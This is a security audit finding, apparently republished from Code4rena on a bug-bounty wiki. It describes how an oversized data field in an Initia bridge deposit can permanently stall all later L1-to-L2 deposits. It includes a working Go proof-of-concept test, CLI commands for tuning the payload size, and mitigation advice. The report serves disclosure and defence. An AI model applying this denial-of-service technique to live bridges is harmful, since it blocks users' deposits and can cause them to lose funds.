L1->L2 token deposits can be DoS’ed by purposefully providing a large data field in MsgInitiateTokenDeposit
The L2 bridge processes deposits in strict sequence, and the data field in MsgInitiateTokenDeposit is unrestricted, allowing an attacker to create a deposit whose corresponding L2 message exceeds size limits and cannot be processed. This blocks all subsequent L1-to-L2 deposits.
Originally disclosed on Code4rena
Submitted by RadiantLabs
On L2, MsgFinalizeTokenDeposit must be relayed in strict sequence, matching finalizedL1Sequence, err := ms.GetNextL1Sequence(ctx)
x/opchild/keeper/msg_server.go::FinalizeTokenDeposit(..)
385: finalizedL1Sequence, err := ms.GetNextL1Sequence(ctx)
386: if err != nil {
387: return nil, err
388: }
389:
390: if req.Sequence < finalizedL1Sequence {
391: // No op instead of returning an error
392: return &types.MsgFinalizeTokenDepositResponse{Result: types.NOOP}, nil
393: } else if req.Sequence > finalizedL1Sequence {
394: return nil, types.ErrInvalidSequence
395: }
As long as a specific L1 sequence is not successfully processed, subsequent L1->L2 deposits have to wait and cannot be processed. If it were possible to purposefully create a MsgFinalizeTokenDeposit message that cannot be executed on L2, it will DoS all subsequent deposits to L2!
Due to strict validation on the L1 in InitiateTokenDeposit(..) it seems almost impossible to create such a message.
However, the data field in MsgFinalizeTokenDeposit is not restricted in size. This allows creating a message that is so large that it cannot be processed on L2. Specifically, the RPC message size limit (rpc-max-body-bytes and max_body_bytes) and the mempool/consensus max tx size limit (maxTxBytes) might be exceeded, preventing the message from being processed.
The RPC limits messages by default to 1MB, while maxTxBytes is set to 2MB (on L1 and the minimove L2).
Note that the RPC limit is not 100% effective. An active validator is not limited by it and can include a message in a proposed block that is larger than the RPC limit, but smaller than the mempool limit.
Given that data is unrestricted, and MsgInitiateTokenDeposit on L1 contains less properties than MsgFinalizeTokenDeposit on L2, it is possible to create a MsgInitiateTokenDeposit message that is smaller than the enforced 2MB, but when relayed to L2, the MsgFinalizeTokenDeposit message is too large (e.g., due to the additional BaseDenom field and others) and thus rejected.
195: type MsgFinalizeTokenDeposit struct {
196: // the sender address
197: Sender string `protobuf:"bytes,1,opt,name=sender,proto3" json:"sender,omitempty" yaml:"sender"`
198: // from is l1 sender address
199: From string `protobuf:"bytes,2,opt,name=from,proto3" json:"from,omitempty"`
200: // to is l2 recipient address
201: To string `protobuf:"bytes,3,opt,name=to,proto3" json:"to,omitempty"`
202: // amount is the coin amount to deposit.
203: Amount types1.Coin `protobuf:"bytes,4,opt,name=amount,proto3" json:"amount" yaml:"amount"`
204: // sequence is the sequence number of l1 bridge
205: Sequence uint64 `protobuf:"varint,5,opt,name=sequence,proto3" json:"sequence,omitempty"`
206: // height is the height of l1 which is including the deposit message
207: Height uint64 `protobuf:"varint,6,opt,name=height,proto3" json:"height,omitempty"`
208: // base_denom is the l1 denomination of the sent coin.
209: BaseDenom string `protobuf:"bytes,7,opt,name=base_denom,json=baseDenom,proto3" json:"base_denom,omitempty"`
210: /// data is a extra bytes for hooks.
211: Data []byte `protobuf:"bytes,8,opt,name=data,proto3" json:"data,omitempty"`
212: }
349: type MsgInitiateTokenDeposit struct {
350: Sender string `protobuf:"bytes,1,opt,name=sender,proto3" json:"sender,omitempty" yaml:"sender"`
351: BridgeId uint64 `protobuf:"varint,2,opt,name=bridge_id,json=bridgeId,proto3" json:"bridge_id,omitempty" yaml:"bridge_id"`
352: To string `protobuf:"bytes,3,opt,name=to,proto3" json:"to,omitempty" yaml:"to"`
353: Amount types.Coin `protobuf:"bytes,4,opt,name=amount,proto3" json:"amount" yaml:"amount"`
354: Data []byte `protobuf:"bytes,5,opt,name=data,proto3" json:"data,omitempty" yaml:"data"`
355: }
Additionally, the executor batches messages into a single Cosmos tx without any check that the incremental payload exceeds the maximum length that can be accepted by the API, which might lead to this scenario occurring organically if enough messages of “normal” size accumulate.
Ultimately, L1->L2 deposits can be DoS’ed by purposefully providing a large data field which results in the L2 MsgFinalizeTokenDeposit message being too large to be processed.
Proof of Concept
The following PoC demonstrates how a large data field in MsgInitiateTokenDeposit can lead to a DoS of L1->L2 deposits.
Setup
Add the following changes. For simplicity, the L1 RPC limit is increased. Note that this does not affect the mempool limit. The RPC limit can be sidestepped by a block proposer anyway.
opinit-bots/e2e/helper.go#L253
api := make(testutil.Toml)
api["rpc-max-body-bytes"] = 5_000_000
c["api"] = api
opinit-bots/e2e/helper.go#L260
configToml := make(testutil.Toml)
rpc := make(testutil.Toml)
rpc["max_body_bytes"] = 5_000_000
configToml["rpc"] = rpc
err = testutil.ModifyTomlConfigFile(ctx, logger, client, t.Name(), l1Chain.Validators[0].VolumeName, "config/config.toml", configToml)
require.NoError(t, err)
Test Case
Paste the test case into opinit-bots/e2e/multiple_txs_test.go and run withgo test -v . -timeout 30m -run TestMultipleDepositsAndWithdrawalsExceedingLimit.
func TestMultipleDepositsAndWithdrawalsExceedingLimit(t *testing.T) {
l1ChainConfig := &ChainConfig{
ChainID: "initiation-2",
Image: ibc.DockerImage{Repository: "ghcr.io/initia-labs/initiad", Version: "v0.6.4", UIDGID: "1000:1000"},
Bin: "initiad",
Bech32Prefix: "init",
Denom: "uinit",
Gas: "auto",
GasPrices: "0.025uinit",
GasAdjustment: 1.2,
TrustingPeriod: "168h",
NumValidators: 1,
NumFullNodes: 0,
}
l2ChainConfig := &ChainConfig{
ChainID: "minimove-2",
Image: ibc.DockerImage{Repository: "ghcr.io/initia-labs/minimove", Version: "v0.6.5", UIDGID: "1000:1000"},
Bin: "minitiad",
Bech32Prefix: "init",
Denom: "umin",
Gas: "auto",
GasPrices: "0.025umin",
GasAdjustment: 1.2,
TrustingPeriod: "168h",
NumValidators: 1,
NumFullNodes: 0,
}
daChainConfig := &DAChainConfig{
ChainConfig: *l1ChainConfig,
ChainType: ophosttypes.BatchInfo_CHAIN_TYPE_INITIA,
}
bridgeConfig := &BridgeConfig{
SubmissionInterval: "5s",
FinalizationPeriod: "10s",
SubmissionStartHeight: "1",
OracleEnabled: false,
Metadata: "",
}
ctx := context.Background()
op := SetupTest(t, ctx, BotExecutor, l1ChainConfig, l2ChainConfig, daChainConfig, bridgeConfig)
user0 := interchaintest.GetAndFundTestUsers(t, ctx, "user", math.NewInt(10_000_000), op.Initia, op.Minitia)
user1 := interchaintest.GetAndFundTestUsers(t, ctx, "user", math.NewInt(100_000), op.Initia, op.Minitia)
user2 := interchaintest.GetAndFundTestUsers(t, ctx, "user", math.NewInt(100_000), op.Initia, op.Minitia)
user3 := interchaintest.GetAndFundTestUsers(t, ctx, "user", math.NewInt(100_000), op.Initia, op.Minitia)
user4 := interchaintest.GetAndFundTestUsers(t, ctx, "user", math.NewInt(100_000), op.Initia, op.Minitia)
amount := sdk.NewCoin(op.Initia.Config().Denom, math.NewInt(1000))
broadcaster := cosmos.NewBroadcaster(t, op.Initia.CosmosChain)
dataLength := 1_000_000 // ~1MB
data := make([]byte, dataLength)
msg := ophosttypes.NewMsgInitiateTokenDeposit(
user0[0].FormattedAddress(),
1,
user1[1].FormattedAddress(),
amount,
data,
)
broadcaster.ConfigureFactoryOptions(
func(factory tx.Factory) tx.Factory {
return factory.WithGas(20_000_000)
},
)
broadcaster.ConfigureClientContextOptions(
func(clientContext client.Context) client.Context {
return clientContext.WithSimulation(false)
},
)
tx, err := cosmos.BroadcastTx(
ctx,
broadcaster,
user0[0],
msg,
)
require.NoError(t, err, "error broadcasting tx")
require.Zero(t, tx.Code, "initiate token deposit tx failed: %s - %s - %s", tx.Codespace, tx.RawLog, tx.Data)
op.Logger.Info("initiate token deposit tx with large data broadcasted", zap.String("tx_hash", tx.TxHash))
_, err = op.Initia.InitiateTokenDeposit(ctx, user1[0].KeyName(), 1, user2[1].FormattedAddress(), amount.String(), "", true)
require.NoError(t, err)
_, err = op.Initia.InitiateTokenDeposit(ctx, user2[0].KeyName(), 1, user3[1].FormattedAddress(), amount.String(), "", true)
require.NoError(t, err)
_, err = op.Initia.InitiateTokenDeposit(ctx, user3[0].KeyName(), 1, user4[1].FormattedAddress(), amount.String(), "", true)
require.NoError(t, err)
_, err = op.Initia.InitiateTokenDeposit(ctx, user4[0].KeyName(), 1, user0[1].FormattedAddress(), amount.String(), "", true)
require.NoError(t, err)
err = testutil.WaitForBlocks(ctx, 5, op.Initia, op.Minitia)
require.NoError(t, err)
res, err := op.Initia.QueryTokenPairByL1Denom(ctx, 1, op.Initia.Config().Denom)
require.NoError(t, err)
user0Balance, err := op.Minitia.BankQueryBalance(ctx, user0[1].FormattedAddress(), res.TokenPair.L2Denom)
require.NoError(t, err)
user1Balance, err := op.Minitia.BankQueryBalance(ctx, user1[1].FormattedAddress(), res.TokenPair.L2Denom)
require.NoError(t, err)
user2Balance, err := op.Minitia.BankQueryBalance(ctx, user2[1].FormattedAddress(), res.TokenPair.L2Denom)
require.NoError(t, err)
user3Balance, err := op.Minitia.BankQueryBalance(ctx, user3[1].FormattedAddress(), res.TokenPair.L2Denom)
require.NoError(t, err)
user4Balance, err := op.Minitia.BankQueryBalance(ctx, user4[1].FormattedAddress(), res.TokenPair.L2Denom)
require.NoError(t, err)
require.Equal(t, int64(1000), user0Balance.Int64())
require.Equal(t, int64(1000), user1Balance.Int64())
require.Equal(t, int64(1000), user2Balance.Int64())
require.Equal(t, int64(1000), user3Balance.Int64())
require.Equal(t, int64(1000), user4Balance.Int64())
}
After a while, the logs will show that the Cosmos transaction containing the MsgFinalizeTokenDeposit message is rejected due to the message size limit.
2025-01-13T22:05:38.586Z WARN executor broadcaster/process.go:119 retry to handle processed msgs {"seconds": 8, "count": 2, "error": "simulation failed: error in json rpc client, with http response metadata: (Status: 400 Bad Request, Protocol HTTP/1.1). RPC error -32600 - Invalid Request: error reading request body: http: request body too large"}
This is a proof that L1->L2 deposits can be DoS’ed by purposefully providing a large data field that results in the L2 MsgFinalizeTokenDeposit message being too large to be processed on L2.
The size of data can be meticulously crafted to be just below the L1 RPC and mempool limit, but exceeding the limits on L2.
One way to do so is to alter the NewInitiateTokenDeposit command to accept data size instead of content:
dataLen, err := strconv.ParseUint(args[3], 10, 64)
if err != nil {
return err
}
data := make([]byte, dataLen)
With this change, it is possible to bisect incrementally larger sizes to find the right limit of a signed transaction (below 749667 is found):
➜ initia git:(main) ✗ build/initiad tx ophost initiate-token-deposit 1 abc 1uinit 749667 --from=validator --chain-id=initia-1
[...]
raw_log: 'out of gas in location: txSize; gasWanted: 200000, gasUsed: 7500502: out
of gas'
[...]
➜ initia git:(main) ✗ build/initiad tx ophost initiate-token-deposit 1 abc 1uinit 749668 --from=validator --chain-id=initia-1
[...]
error in json rpc client, with http response metadata: (Status: 400 Bad Request, Protocol HTTP/1.1). RPC error -32600 - Invalid Request: error reading request body: http: request body too large
Recommended mitigation steps
Consider restricting the size of the data field in MsgInitiateTokenDeposit to a reasonable limit, such as 100KB. Additionally, the executor should be modified to handle large messages in a more graceful manner, such as splitting them into multiple transactions if the simulation fails due to the message size limit.
beer-1 (Initia) confirmed, but disagreed with severity and commented:
Thanks for your report! It seems one can halt the relaying, but it can be solved by increasing the rpc limit or decreasing the block gas limit kind of way.
But it would good to have limit on data field. We will apply it.
Mitigation here.
Given the temporary nature of the impact (ease of mitigation) I agree that this is more appropriate as a medium.
berndartmueller (warden) commented:
While changing the RPC limit is done per RPC/validator, and thus can be done quickly on the RPC that is used by the off-chain executor bot, increasing the RPC limit is only half of the mitigation.
The RPC limit can be bypassed if the attacker is a validator who proposes a block. In this case, the relevant limit is the mempool’s
maxTxBytes. This parameter is a consensus-relevant parameter, meaning, the majority of the nodes must increase this limit. Otherwise, the network continues to reject a block that contains such a large tx. Therefore, the mitigation is not that easy and requires coordination among the validators, which might take a while.If this happens during times when the market is volatile, and users must quickly bridge assets from
L1->L2to e.g., improve the health of borrowing positions, this is especially severe and will result in lost funds. Therefore, we kindly request considering this submission as a High.
Thank you for the additional clarification. I agree with your reasoning and have upgraded it back to high.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the data field in MsgInitiateTokenDeposit has no size limit, and the L2 message built from it can exceed the RPC or mempool transaction size limits, while the L2 bridge requires strict sequential processing.
Impact
An attacker could halt all L1-to-L2 deposits by making one oversized deposit, though the report notes the RPC limit can be bypassed by a validator and the mempool limit requires coordination to change.
What the attacker needed
Ability to submit a deposit transaction on L1; no special privileges required
The fix
The data field size should be restricted (e.g., to 100KB) and the executor should handle large messages gracefully, such as by splitting them; the project confirmed and applied a mitigation.
How it was found
- Set up an L1 and L2 chain with the bridge, increasing the L1 RPC body size limit for testing.
- Create a deposit transaction on L1 with a data field around 1MB.
- Broadcast the deposit transaction and wait for it to be included.
- Make several normal deposits after it.
- Observe that the L2 transaction containing the large deposit is rejected due to request body size, and later deposits are not processed.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A bridge moves tokens between two blockchains. The second chain processes deposits in a fixed order, so if one deposit gets stuck, all later deposits wait forever. Here, an attacker can make a deposit with a huge extra data field that the second chain refuses to accept because it is too big, causing a permanent jam.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.